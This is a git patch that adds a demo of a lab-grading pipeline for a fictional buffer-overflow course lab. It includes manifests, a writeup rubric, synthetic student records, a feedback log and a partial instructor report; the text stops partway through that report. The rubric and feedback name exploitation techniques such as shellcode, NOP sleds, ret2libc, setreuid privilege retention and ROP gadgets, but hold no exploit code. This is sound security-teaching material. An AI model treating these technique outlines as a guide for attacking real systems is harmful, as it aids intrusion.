From 39d6e6ed84c5c4df680486640fddd9ce1990a243 Mon Sep 17 00:00:00 2001 From: Anthony Giacalone Date: Thu, 2 Jul 2026 14:39:30 -0700 Subject: [PATCH] docs(examples): add lab-grading pipeline demo (Stage G) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The cecs-378-demo walked the exam/term/gradebook flow but had zero coverage of the lab-grading pipeline (reg-lab-recon → reg-lab-digest → reg-lab-report), which is now a first-class part of lectern. This adds a runnable Stage G. - lab-demo.{recon,rubric,report}.yaml — the three manifests - recon-lab-demo/ — a pre-built synthetic recon bundle: 10 Batman-cast students on a buffer-overflow lab (autograded Phase Φ/Ω + 30-pt writeup), cohort.csv (with the `cleared` column), FACTS.md, per-repo JSON, 9 fabricated writeups, plus the digest/report outputs (tasks, results, merged cohort, REPORT.md, FEEDBACK_LOG.md). - README Stage G (steps 15-17): reg-lab-digest emit/merge, reg-lab-report render + deliver --dry-run — all runnable offline. recon + deliver --execute documented under live-infra. The bundle is designed to exercise the two recent report features end-to-end: the **ward-clear funnel** (Φ 8 / Ω 5, from the `cleared` column) and the **per-student feedback scaffold** — graded rows, an ungraded `_Comments:_` placeholder (Jason Todd), and a `_no submission_` row (Selina Kyle). Entirely synthetic (Gotham-CECS org, fake addresses/flags); safety-scanned for real-data leakage. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01DgwGhcukacF1jm7VX8cm5R --- examples/cecs-378-demo/README.md | 99 +++++++ examples/cecs-378-demo/lab-demo.recon.yaml | 23 ++ examples/cecs-378-demo/lab-demo.report.yaml | 17 ++ examples/cecs-378-demo/lab-demo.rubric.yaml | 125 +++++++++ .../recon-lab-demo/.cohort-spec.json | 18 ++ .../cecs-378-demo/recon-lab-demo/FACTS.md | 18 ++ .../recon-lab-demo/FEEDBACK_LOG.md | 55 ++++ .../cecs-378-demo/recon-lab-demo/REPORT.md | 148 ++++++++++ .../cecs-378-demo/recon-lab-demo/bundle.json | 5 + .../cecs-378-demo/recon-lab-demo/cohort.csv | 11 + .../recon-lab-demo/digest.schema.json | 83 ++++++ .../recon-lab-demo/digest_results.jsonl | 8 + .../recon-lab-demo/digest_tasks.jsonl | 10 + .../recon-lab-demo/repos/barbara-gordon.json | 68 +++++ .../recon-lab-demo/repos/bruce-wayne.json | 68 +++++ .../recon-lab-demo/repos/dick-grayson.json | 68 +++++ .../recon-lab-demo/repos/edward-nashton.json | 68 +++++ .../recon-lab-demo/repos/harvey-dent.json | 68 +++++ .../recon-lab-demo/repos/jason-todd.json | 68 +++++ .../recon-lab-demo/repos/kate-kane.json | 68 +++++ .../repos/oswald-cobblepot.json | 68 +++++ .../recon-lab-demo/repos/pamela-isley.json | 68 +++++ .../recon-lab-demo/repos/selina-kyle.json | 19 ++ .../recon-lab-demo/writeups/barbara-gordon.md | 149 ++++++++++ .../recon-lab-demo/writeups/bruce-wayne.md | 166 +++++++++++ .../recon-lab-demo/writeups/dick-grayson.md | 133 +++++++++ .../recon-lab-demo/writeups/edward-nashton.md | 80 ++++++ .../recon-lab-demo/writeups/harvey-dent.md | 179 ++++++++++++ .../recon-lab-demo/writeups/jason-todd.md | 205 ++++++++++++++ .../recon-lab-demo/writeups/kate-kane.md | 263 ++++++++++++++++++ .../writeups/oswald-cobblepot.md | 131 +++++++++ .../recon-lab-demo/writeups/pamela-isley.md | 164 +++++++++++ 32 files changed, 2721 insertions(+) create mode 100644 examples/cecs-378-demo/lab-demo.recon.yaml create mode 100644 examples/cecs-378-demo/lab-demo.report.yaml create mode 100644 examples/cecs-378-demo/lab-demo.rubric.yaml create mode 100644 examples/cecs-378-demo/recon-lab-demo/.cohort-spec.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/FACTS.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/FEEDBACK_LOG.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/REPORT.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/bundle.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/cohort.csv create mode 100644 examples/cecs-378-demo/recon-lab-demo/digest.schema.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/digest_results.jsonl create mode 100644 examples/cecs-378-demo/recon-lab-demo/digest_tasks.jsonl create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/barbara-gordon.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/bruce-wayne.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/dick-grayson.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/edward-nashton.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/harvey-dent.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/jason-todd.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/kate-kane.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/oswald-cobblepot.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/pamela-isley.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/repos/selina-kyle.json create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/barbara-gordon.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/bruce-wayne.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/dick-grayson.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/edward-nashton.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/harvey-dent.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/jason-todd.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/kate-kane.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/oswald-cobblepot.md create mode 100644 examples/cecs-378-demo/recon-lab-demo/writeups/pamela-isley.md diff --git a/examples/cecs-378-demo/README.md b/examples/cecs-378-demo/README.md index 8275981..63123c3 100644 --- a/examples/cecs-378-demo/README.md +++ b/examples/cecs-378-demo/README.md @@ -26,6 +26,10 @@ Files in this directory: | `gradescope-stats/` | Synthetic Gradescope evaluations + `reg-gradescope-stats` item analysis | | `exam1/products/` | Per-exam reading-list study guide from `reg-exam-readinglist` | | `gradebook-out/` | `gradebook.csv` + `gradebook.md` from `reg-gradebook import` | +| `lab-demo.recon.yaml` | `reg-lab-recon` manifest for the demo buffer-overflow lab | +| `lab-demo.rubric.yaml` | Writeup rubric consumed by `reg-lab-digest` | +| `lab-demo.report.yaml` | `reg-lab-report` render + deliver manifest | +| `recon-lab-demo/` | Pre-built **recon bundle** (10 synthetic repos) + digest/report outputs — Stage G | --- @@ -446,6 +450,91 @@ counts, and flags **dead** distractors (chosen by nobody) and possible **miskeys --- +## Stage G — Grade a lab (recon → digest → report → feedback) + +The lab-grading pipeline is separate from the exam flow: **`reg-lab-recon`** sweeps a +lab's student repos into a *recon bundle*, **`reg-lab-digest`** grades the writeups, and +**`reg-lab-report`** renders the instructor report and delivers signed feedback. + +`reg-lab-recon` needs cloned student repos (GitHub) — see the live-infra note below. This +directory ships the bundle it would produce at **`recon-lab-demo/`** (10 synthetic +students; a buffer-overflow lab with autograded **Phase Φ / Phase Ω** + a 30-pt writeup), +so every command below runs offline and for real. + +Bundle contents (`recon-lab-demo/`): + +| File | Purpose | +|------|---------| +| `cohort.csv` | Part-A facts per repo (autograde `points`, `cleared` phases, triage, `doc_present`) | +| `FACTS.md` | Audit-grade facts table | +| `repos/.json` | Per-repo metadata (autograde challenges, git story, links) | +| `writeups/.md` | Each student's extracted `WRITEUP.md` | + +### 15. Digest — grade the writeups + +Emit a work-list, let the harness grade it, then merge the results: + +```sh +reg-lab-digest emit --bundle recon-lab-demo --rubric lab-demo.rubric.yaml \ + --out recon-lab-demo/digest_tasks.jsonl +``` + +``` +→ digest: 9 task(s) to grade # 8 submitters + 1 not-yet-graded; the no-submission is skipped +``` + +`digest_tasks.jsonl` + `digest.schema.json` are the contract an **agent grader** consumes +(see [`docs/lab-digest-grader-prompt.md`](../../docs/lab-digest-grader-prompt.md)); it +returns one result line per student. A sample result set ships at +`recon-lab-demo/digest_results.jsonl` — **Jason Todd is left ungraded on purpose**, to +exercise the report's placeholder path. Merge it: + +```sh +reg-lab-digest merge --bundle recon-lab-demo --rubric lab-demo.rubric.yaml \ + --results recon-lab-demo/digest_results.jsonl +``` + +``` +→ digest: merged 8 scored, 0 withheld -> recon-lab-demo/cohort.csv +``` + +`merge` never overwrites autograde truth — it only adds `writeup_score` / comments and +recomputes the total (capped, partial-ward-zeroed). + +### 16. Report — render the instructor report + +```sh +reg-lab-report render --bundle recon-lab-demo --cohort recon-lab-demo/cohort.csv \ + --manifest lab-demo.report.yaml --out recon-lab-demo/REPORT.md +``` + +`REPORT.md` is a complete *report + feedback* document: + +- **Distribution** — grade bands, score histogram, and a **ward-clear funnel** (Φ 8 / Ω 5), + counted from the `cleared` column recon emits. +- **Grade table** + four-bucket **recommendations** + a **Canvas entry sheet**. +- **Per-student feedback & grades** — a grading *scaffold*: graded rows carry the verbatim + student-facing comment (with a stripped `` note); an **ungraded + submission** (Jason Todd) renders a `> _Comments:_` placeholder for the LLM-grading + hand-off; a **non-submission** (Selina Kyle) renders `> _no submission_`. + +### 17. Feedback — deliver (dry-run) + +```sh +reg-lab-report deliver --cohort recon-lab-demo/cohort.csv --manifest lab-demo.report.yaml \ + --skip selina-kyle --log-out recon-lab-demo/FEEDBACK_LOG.md +``` + +``` +→ DRY-RUN: 9 repos +``` + +Dry-run writes a verbatim `FEEDBACK_LOG.md` and touches nothing. Adding `--execute` signs +each student's `FEEDBACK.md`, pushes it to the repo's `feedback` branch, and merges to +`main` — that needs the real repos + a signing key (live-infra note below). + +--- + ## Commands requiring live infrastructure These lectern commands are part of the workflow but need external systems, so they @@ -461,6 +550,12 @@ are documented here rather than run in this self-contained demo: - **`reg-triage`** — git-history authenticity triage over a lab's student-repo population: `sweep` → FLAG/REVIEW/PASS, `report` → two-tier audit (needs cloned student repos / an org to scrape). +- **`reg-lab-recon`** — sweep a lab's student repos into the recon bundle that + Stage G consumes (needs cloned student repos / a Classroom org). The pre-built + `recon-lab-demo/` is what it produces. +- **`reg-lab-report deliver --execute`** — sign each student's `FEEDBACK.md`, push it + to the `feedback` branch, and merge to `main` (needs the real repos + a GPG signing + key). The `--dry-run` form in Stage G runs offline. - **`reg-term-finalize`** — reconcile grade distributions, flip section statuses to finalized, roll up enrollment-weighted aggregates (needs the populated vault term tree). @@ -500,6 +595,10 @@ for this example — they do not reproduce any live exam bank. - `exam1.tex`, `cecs-378-question-bank.md`, the syllabus, and the `gradescope-stats/` evaluations all contain fresh synthetic content written for this demo; none reproduce any live or past CECS 378 material, grades, or roster. +- The `recon-lab-demo/` bundle (Stage G) is entirely synthetic: a fictional + `Gotham-CECS` org, fabricated buffer-overflow writeups with fake `0xffff`-range + addresses and `CECS378{…}` flags, and invented autograde/commit metadata. No real + lab source, exploit, repo, or student appears in it. - The `@student.csulb.edu` emails in the synthetic Gradescope export are fabricated for the demo students and resolve to no real accounts. - No internal infrastructure hostnames, real email addresses, real course sections, diff --git a/examples/cecs-378-demo/lab-demo.recon.yaml b/examples/cecs-378-demo/lab-demo.recon.yaml new file mode 100644 index 0000000..4586dda --- /dev/null +++ b/examples/cecs-378-demo/lab-demo.recon.yaml @@ -0,0 +1,23 @@ +# reg-lab-recon manifest — CECS 378 demo buffer-overflow lab. +# recon itself needs cloned student repos (GitHub) → see the live-infra note in +# the README; this directory ships the pre-built bundle recon-lab-demo/ that recon +# would produce, so the digest + report stages below run offline and for real. +assignment: + course: CECS 378 + section: "01" + term: su26 + name: "Lab 3 — Buffer Overflow (demo)" + org: Gotham-CECS + repo_prefix: "cecs-378-su26-01-lab-03-buffer-overflow-" + total_points: 100 +autograde: + workflow: autograde.yml + branch: main + result_artifact: grading-result + result_path: grading/result.json +docs: + - { file: student/WRITEUP.md, label: writeup, summarize: true, points: 30 } +git: + profile: short-project +report: + triage: surface diff --git a/examples/cecs-378-demo/lab-demo.report.yaml b/examples/cecs-378-demo/lab-demo.report.yaml new file mode 100644 index 0000000..53c4425 --- /dev/null +++ b/examples/cecs-378-demo/lab-demo.report.yaml @@ -0,0 +1,17 @@ +# reg-lab-report render + deliver manifest — demo buffer-overflow lab. +course: CECS 378 +section: "01" +term: su26 +lab: "Lab 3 — Buffer Overflow (demo)" +org: Gotham-CECS +repo_prefix: cecs-378-su26-01-lab-03-buffer-overflow +auto_max: 70 +writeup_max: 30 +wards: + - { key: phi, label: "Phase Φ ACE (WALK IN)" } + - { key: omega, label: "Phase Ω ACE (COLD STEEL)" } +letter_cuts: { A: 90, B: 80, C: 70, D: 60 } +bump_band: 1.0 +feedback_branch: feedback +feedback_pr: 1 +default_branch: main diff --git a/examples/cecs-378-demo/lab-demo.rubric.yaml b/examples/cecs-378-demo/lab-demo.rubric.yaml new file mode 100644 index 0000000..062c7fb --- /dev/null +++ b/examples/cecs-378-demo/lab-demo.rubric.yaml @@ -0,0 +1,125 @@ +# Buffer Overflow (Lab 3) — machine-readable writeup rubric (30 pts) +# Human-readable source: classes/378-478/labs/378-buffer_overflow/buffer_overflow_lab_grading_rubric.md +# Anchor philosophy: mechanism-over-outcome — "the leak gave me X, which let me do Y" earns full; +# "I ran the exploit" earns near-zero. Full/Solid/Weak/Absent → strong/adequate/weak/missing. +# NOTE: §5 craft (2) was added 2026-07-02 to reconcile the writeup to its stated 30-pt total +# (the section maxes previously summed to 28). Writeup sections carry NO requires_cleared: +# per the rubric, the writeup is graded on its merits independent of the autograded phases. + +lab: "Lab 3 — Buffer Overflow (Phase Φ WALK IN / Phase Ω COLD STEEL)" +total: 30 +comment_max_chars: 140 +student_comment_max_chars: 600 +cap: 30 + +sections: + - key: target + label: "§0 TARGET — environment + seed fingerprint" + max: 2 + anchors: + strong: >- + States where the work was done (Codespace or local) and the dates, and + pastes the `make print-seed` line, which matches the `seed-fingerprint:` + in the WRITEUP frontmatter. + adequate: >- + Filled in but missing one element — dates absent, or the fingerprint is + pasted without the contextual env/date line. + weak: >- + Fingerprint or environment stated but it does not appear to match the + frontmatter (flag for instructor). + missing: >- + Empty or placeholder text unchanged. + + - key: recon + label: "§1 RECON — gdb output + offset derivation" + max: 6 + anchors: + strong: >- + Both `info frame` and `x/40wx $esp` pasted from their OWN vuln1 and vuln2 + (addresses non-trivially seed-specific), and the offset derivation is + shown — not merely "the offset was 76". + adequate: >- + gdb output present and offset reasoning sketched, with small gaps (e.g. + shows the offset for vuln1 but not vuln2, or the arithmetic is implicit). + weak: >- + One of: gdb output but no offset reasoning; offset claimed with no gdb + output; output present but identical to another student's addresses + (seed collision impossible → flag for instructor). + missing: >- + No gdb output at all. + + - key: phi_walk + label: "§2 Phase Φ walkthrough (exploit1.c)" + max: 6 + anchors: + strong: >- + Answers all four sub-questions — why those shellcode bytes, why the NOP + sled is sized as it is, where the offset came from, and the exact line + that reads the leaked `&buffer` from vuln1's stdout and how it is used in + the payload — tied to specific lines of THEIR exploit1.c. + adequate: >- + Three of four sub-questions, or all four but shallow on one (e.g. "I used + standard execve shellcode" with no reason for those bytes). + weak: >- + One or two sub-questions; mostly restates the prompt without engaging + with their own code. + missing: >- + No walkthrough. + + - key: omega_walk + label: "§3 Phase Ω walkthrough (4 sub-parts: fail-analysis, libc offsets, setuid, gadget)" + max: 9 + anchors: + strong: >- + All four sub-parts full: (3a) pastes the segfault/signal AND explains the + non-executable stack (no `-z execstack`); (3b) names the tools and shows + the actual offsets for system/exit/setreuid/"/bin/sh"; (3c) correctly + explains why the naive shell drops the setuid `oracle` privilege and names + the `setreuid(geteuid(),geteuid())` fix with a man-page cite; (3d) names + the gadget-finding tool, gives the pop/pop/ret address + disassembly of + the three instructions, and why it is needed. + adequate: >- + Three of the four sub-parts solid, or all four present but thin on the + "why" (e.g. offsets shown but commands omitted; gadget address without + disassembly). + weak: >- + One or two sub-parts; mechanism vague, a wrong fix ("you need root"), or + prompt restated. + missing: >- + Section empty. + + - key: aftermath + label: "§4 AFTERMATH — four reflections (1.25 each)" + max: 5 + anchors: + strong: >- + All four reflections substantive: a real opinion on which phase was + harder; a no-leak counterfactual naming a concrete primitive (format + string / side channel / low-entropy brute force / partial overwrite / + "stuck without a leak"); the canary answer names `__stack_chk_fail` / + abort-before-RIP; and a SPECIFIC cited section (Phrack 49:14 / GNU Coding + Standards / TAOUP / POSIX) with a non-platitude "why it matters". + adequate: >- + Three substantive and one thin, or two substantive and two thin. + weak: >- + One substantive reflection; the rest vague or "both were hard". + missing: >- + Section empty. + + - key: craft + label: "§5 craft — commented exploit code + required screenshots" + max: 2 + anchors: + strong: >- + exploit1.c and exploit2.c carry student-written explanatory comments (not + just code), all four screenshots are present (phase-phi-shell/flag, + phase-omega-shell/flag), and the prose is in the student's own voice. + adequate: >- + Code commented but sparse OR one-to-two screenshots missing — evidence of + craft but incomplete. + weak: >- + Bare uncommented exploits and/or most screenshots missing. + missing: >- + No comments and no screenshots. + +bonus: [] diff --git a/examples/cecs-378-demo/recon-lab-demo/.cohort-spec.json b/examples/cecs-378-demo/recon-lab-demo/.cohort-spec.json new file mode 100644 index 0000000..69640aa --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/.cohort-spec.json @@ -0,0 +1,18 @@ +{ + "lab": "Lab 3 — Buffer Overflow (demo)", + "org": "Gotham-CECS", + "repo_prefix": "cecs-378-su26-01-lab-03-buffer-overflow-", + "auto_max": 70, "writeup_max": 30, + "students": [ + {"gid":"bruce-wayne","name":"Bruce Wayne","sid":"040100101","phi":true,"omega":true,"commits":18,"spread":29.4,"triage":"PASS","triage_score":88,"sources":2,"submitted":true,"graded":true,"quality":"strong","wr":{"target":2,"recon":6,"phi_walk":6,"omega_walk":9,"aftermath":5,"craft":2}}, + {"gid":"barbara-gordon","name":"Barbara Gordon","sid":"040100103","phi":true,"omega":true,"commits":22,"spread":30.1,"triage":"PASS","triage_score":86,"sources":3,"submitted":true,"graded":true,"quality":"strong","wr":{"target":2,"recon":6,"phi_walk":6,"omega_walk":8,"aftermath":5,"craft":2}}, + {"gid":"dick-grayson","name":"Dick Grayson","sid":"040100102","phi":true,"omega":true,"commits":14,"spread":28.7,"triage":"PASS","triage_score":80,"sources":1,"submitted":true,"graded":true,"quality":"good","wr":{"target":2,"recon":5,"phi_walk":6,"omega_walk":7,"aftermath":5,"craft":2}}, + {"gid":"kate-kane","name":"Kate Kane","sid":"040100109","phi":true,"omega":true,"commits":11,"spread":30.6,"triage":"PASS","triage_score":78,"sources":1,"submitted":true,"graded":true,"quality":"good","wr":{"target":2,"recon":5,"phi_walk":5,"omega_walk":7,"aftermath":5,"craft":2}}, + {"gid":"harvey-dent","name":"Harvey Dent","sid":"040100106","phi":true,"omega":false,"commits":9,"spread":30.5,"triage":"PASS","triage_score":72,"sources":0,"submitted":true,"graded":true,"quality":"partial","wr":{"target":2,"recon":5,"phi_walk":5,"omega_walk":0,"aftermath":4,"craft":2}}, + {"gid":"pamela-isley","name":"Pamela Isley","sid":"040100107","phi":true,"omega":false,"commits":6,"spread":29.9,"triage":"REVIEW","triage_score":55,"sources":0,"submitted":true,"graded":true,"quality":"partial","wr":{"target":2,"recon":4,"phi_walk":5,"omega_walk":0,"aftermath":4,"craft":2}}, + {"gid":"oswald-cobblepot","name":"Oswald Cobblepot","sid":"040100105","phi":true,"omega":false,"commits":7,"spread":30.2,"triage":"PASS","triage_score":68,"sources":0,"submitted":true,"graded":true,"quality":"partial","wr":{"target":2,"recon":4,"phi_walk":4,"omega_walk":0,"aftermath":3,"craft":2}}, + {"gid":"edward-nashton","name":"Edward Nashton","sid":"040100108","phi":false,"omega":false,"commits":12,"spread":30.0,"triage":"PASS","triage_score":60,"sources":1,"submitted":true,"graded":true,"quality":"phase-fail","wr":{"target":2,"recon":3,"phi_walk":4,"omega_walk":1,"aftermath":2,"craft":0}}, + {"gid":"jason-todd","name":"Jason Todd","sid":"040100110","phi":true,"omega":true,"commits":10,"spread":30.3,"triage":"PASS","triage_score":75,"sources":1,"submitted":true,"graded":false,"quality":"good","wr":null}, + {"gid":"selina-kyle","name":"Selina Kyle","sid":"040100104","phi":false,"omega":false,"commits":0,"spread":0,"triage":"","triage_score":0,"sources":0,"submitted":false,"graded":false,"quality":"none","wr":null} + ] +} diff --git a/examples/cecs-378-demo/recon-lab-demo/FACTS.md b/examples/cecs-378-demo/recon-lab-demo/FACTS.md new file mode 100644 index 0000000..f4f1e76 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/FACTS.md @@ -0,0 +1,18 @@ +# Lab 3 — Buffer Overflow (demo) — Recon Facts (Part A) + +Population: **10** repos · max **100** pts + +> Verified record. Each row is reproducible from the repo + commit. *(synthetic demo bundle)* + +| Student | Auto pts | Honor | Commits | Spread (d) | Triage | Doc | Feedback | +| --- | --: | :-: | --: | --: | :-: | :-: | :-: | +| selina-kyle | — | ✗ | — | — | — | ✗ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-selina-kyle/pull/1) | +| edward-nashton | 0 | ✓ | 12 | 30.0 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-edward-nashton/pull/1) | +| harvey-dent | 60 | ✓ | 9 | 30.5 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-harvey-dent/pull/1) | +| pamela-isley | 60 | ✓ | 6 | 29.9 | REVIEW | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-pamela-isley/pull/1) | +| oswald-cobblepot | 60 | ✓ | 7 | 30.2 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-oswald-cobblepot/pull/1) | +| bruce-wayne | 70 | ✓ | 18 | 29.4 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-bruce-wayne/pull/1) | +| barbara-gordon | 70 | ✓ | 22 | 30.1 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-barbara-gordon/pull/1) | +| dick-grayson | 70 | ✓ | 14 | 28.7 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-dick-grayson/pull/1) | +| kate-kane | 70 | ✓ | 11 | 30.6 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-kate-kane/pull/1) | +| jason-todd | 70 | ✓ | 10 | 30.3 | PASS | ✓ | [PR](https://github.com/Gotham-CECS/cecs-378-su26-01-lab-03-buffer-overflow-jason-todd/pull/1) | diff --git a/examples/cecs-378-demo/recon-lab-demo/FEEDBACK_LOG.md b/examples/cecs-378-demo/recon-lab-demo/FEEDBACK_LOG.md new file mode 100644 index 0000000..7bc3ada --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/FEEDBACK_LOG.md @@ -0,0 +1,55 @@ +--- +type: feedback-log +tags: [feedback-log, grading, private] +visibility: private +icon: LiMessageSquareText +iconColor: var(--text-normal) +--- +# Lab 3 — Buffer Overflow (demo) · Feedback Delivered to Students +*CECS 378 · su26 · §01 — verbatim record* + +### Bruce Wayne — 100/100 +*github: `bruce-wayne` · Auto 70/70 · Writeup 30/30 · UNSIGNED · PR - · main -* + +> Outstanding after-action report. RECON derives the offset from your own leaked buffer/saved-EIP pair; Phase Phi ties every shellcode stage to a reason; Phase Omega is complete end-to-end — libc base from the printf leak, the setreuid privilege fix with a man-page cite, and a real pop/pop/ret gadget with disassembly. Nothing to add. + +### Barbara Gordon — 99/100 +*github: `barbara-gordon` · Auto 70/70 · Writeup 29/30 · UNSIGNED · PR - · main -* + +> Excellent, mechanism-first write-up. Both phases are explained at the byte level and your reflections are concrete. To reach full on Phase Omega, show the numeric libc offsets your commands returned rather than describing them. Great work. + +### Dick Grayson — 97/100 +*github: `dick-grayson` · Auto 70/70 · Writeup 27/30 · UNSIGNED · PR - · main -* + +> Strong report. Phase Phi is exact and your Omega ret2libc chain is clearly reasoned. Two gaps: paste vuln2's own gdb output in RECON, and add the pop/pop/ret disassembly in Phase Omega. Well done. + +### Kate Kane — 96/100 +*github: `kate-kane` · Auto 70/70 · Writeup 26/30 · UNSIGNED · PR - · main -* + +> Nice work — both phases land and your leak-then-pwn explanation is clear. For full marks, paste both binaries' gdb output and add the setreuid man-page citation in Phase Omega. + +### Harvey Dent — 78/100 +*github: `harvey-dent` · Auto 60/70 · Writeup 18/30 · UNSIGNED · PR - · main -* + +> Your Phase Phi walkthrough is solid — the sub-esp guard, the setreuid privilege fix, and the NOP-sled sizing are all here. Phase Omega was left as template placeholders; even without a working exploit you earn most of those points by writing up the NX fail-analysis, the libc offsets, and the pop/pop/ret gadget. Give the ret2libc walkthrough a try. + +### Pamela Isley — 77/100 +*github: `pamela-isley` · Auto 60/70 · Writeup 17/30 · UNSIGNED · PR - · main -* + +> Good Phase Phi engagement. Two things to tighten: RECON needs the explicit offset subtraction and both binaries' gdb output, and Phase Omega is unfilled — the ret2libc mechanism is worth writing up even without a passing exploit. + +### Oswald Cobblepot — 75/100 +*github: `oswald-cobblepot` · Auto 60/70 · Writeup 15/30 · UNSIGNED · PR - · main -* + +> Your Phase Phi exploit passed, but the walkthrough is generic — tie it to specific lines of your own exploit1.c. Phase Omega is left as placeholders; completing the ret2libc write-up is the biggest available gain. Flesh out the reflections too. + +### Jason Todd — 70/100 +*github: `jason-todd` · Auto 70/70 · Writeup 0/30 · UNSIGNED · PR - · main -* + +> _no comment_ + +### Edward Nashton — 12/100 +*github: `edward-nashton` · Auto 0/70 · Writeup 12/30 · UNSIGNED · PR - · main -* + +> Right now neither exploit lands in the autograder, but your RECON and Phase Phi reasoning show real understanding. Get a working shell on vuln1 first, then fill the Phase Omega section. Please come to office hours — there's credit waiting once the exploits work and the sections are filled. + diff --git a/examples/cecs-378-demo/recon-lab-demo/REPORT.md b/examples/cecs-378-demo/recon-lab-demo/REPORT.md new file mode 100644 index 0000000..996093e --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/REPORT.md @@ -0,0 +1,148 @@ +# Lab 3 — Buffer Overflow (demo) · Instructor Report +*CECS 378 · su26 · §01 — n=10 · mean 70.4 · median 78 · σ 34.0* + +## Distribution +``` +GRADE DISTRIBUTION n=10 μ=70.4 σ=34.0 +A ▏████████████████████████ 4 +B ▏ 0 +C ▏████████████████████████ 4 +D ▏ 0 +F ▏████████████ 2 + +SCORE HISTOGRAM +<70 ▏████████████ 2 +70-79 ▏████████████████████████ 4 +80-89 ▏ 0 +90-100 ▏████████████████████████ 4 + +WARD-CLEAR FUNNEL +Phase Φ ACE (WALK IN) ▏████████████████████████ 8 +Phase Ω ACE (COLD STEEL) ▏███████████████ 5 +``` + +## ➊ Grade table + +| Student | github | Auto | Writeup | **Proposed** | flags | +| --- | --- | --: | --: | --: | --- | +| Bruce Wayne | bruce-wayne | 70 | 30 | **100** | | +| Barbara Gordon | barbara-gordon | 70 | 29 | **99** | | +| Dick Grayson | dick-grayson | 70 | 27 | **97** | | +| Kate Kane | kate-kane | 70 | 26 | **96** | | +| Harvey Dent | harvey-dent | 60 | 18 | **78** | | +| Pamela Isley | pamela-isley | 60 | 17 | **77** | | +| Oswald Cobblepot | oswald-cobblepot | 60 | 15 | **75** | | +| Jason Todd | jason-todd | 70 | 0 | **70** | | +| Edward Nashton | edward-nashton | 0 | 12 | **12** | | +| Selina Kyle | selina-kyle | 0 | 0 | **0** | | + +## Grading recommendations + +### Confirm (routine) +- **Bruce Wayne** (bruce-wayne) — proposed 100 — routine +- **Barbara Gordon** (barbara-gordon) — proposed 99 — routine +- **Dick Grayson** (dick-grayson) — proposed 97 — routine +- **Kate Kane** (kate-kane) — proposed 96 — routine +- **Harvey Dent** (harvey-dent) — proposed 78 — routine +- **Oswald Cobblepot** (oswald-cobblepot) — proposed 75 — routine +- **Jason Todd** (jason-todd) — proposed 70 — routine + +### Edge cases needing a call +- **Pamela Isley** (pamela-isley) — triage REVIEW — review before posting +- **Edward Nashton** (edward-nashton) — honor-gate fail / non-submission — late-policy call +- **Selina Kyle** (selina-kyle) — honor-gate fail / non-submission — late-policy call + +### Low-confidence / needs-human-read +- _none_ + +### Upward-adjustment candidates +- **Jason Todd** (jason-todd) — 70.0% — within 1.0 of C cut + +## Per-student feedback & grades + +> [!note] The block quote under each student is the **student-facing** text `reg-lab-report deliver` ships verbatim to their `FEEDBACK.md`; the `` line (forensic notes + flags) is **stripped at delivery**. A `> _Comments:_` placeholder marks an **ungraded** submission — the comment prose is filled by **LLM agentic grading** (`reg-lab-digest`, per `docs/lab-digest-grader-prompt.md`), never scripted; `deliver` skips any block still holding the placeholder. + +### Bruce Wayne — **100 / 100** +*github: `bruce-wayne` · Auto 70/70 · Writeup 30/30* + +> Outstanding after-action report. RECON derives the offset from your own leaked buffer/saved-EIP pair; Phase Phi ties every shellcode stage to a reason; Phase Omega is complete end-to-end — libc base from the printf leak, the setreuid privilege fix with a man-page cite, and a real pop/pop/ret gadget with disassembly. Nothing to add. + + + +### Barbara Gordon — **99 / 100** +*github: `barbara-gordon` · Auto 70/70 · Writeup 29/30* + +> Excellent, mechanism-first write-up. Both phases are explained at the byte level and your reflections are concrete. To reach full on Phase Omega, show the numeric libc offsets your commands returned rather than describing them. Great work. + + + +### Dick Grayson — **97 / 100** +*github: `dick-grayson` · Auto 70/70 · Writeup 27/30* + +> Strong report. Phase Phi is exact and your Omega ret2libc chain is clearly reasoned. Two gaps: paste vuln2's own gdb output in RECON, and add the pop/pop/ret disassembly in Phase Omega. Well done. + + + +### Kate Kane — **96 / 100** +*github: 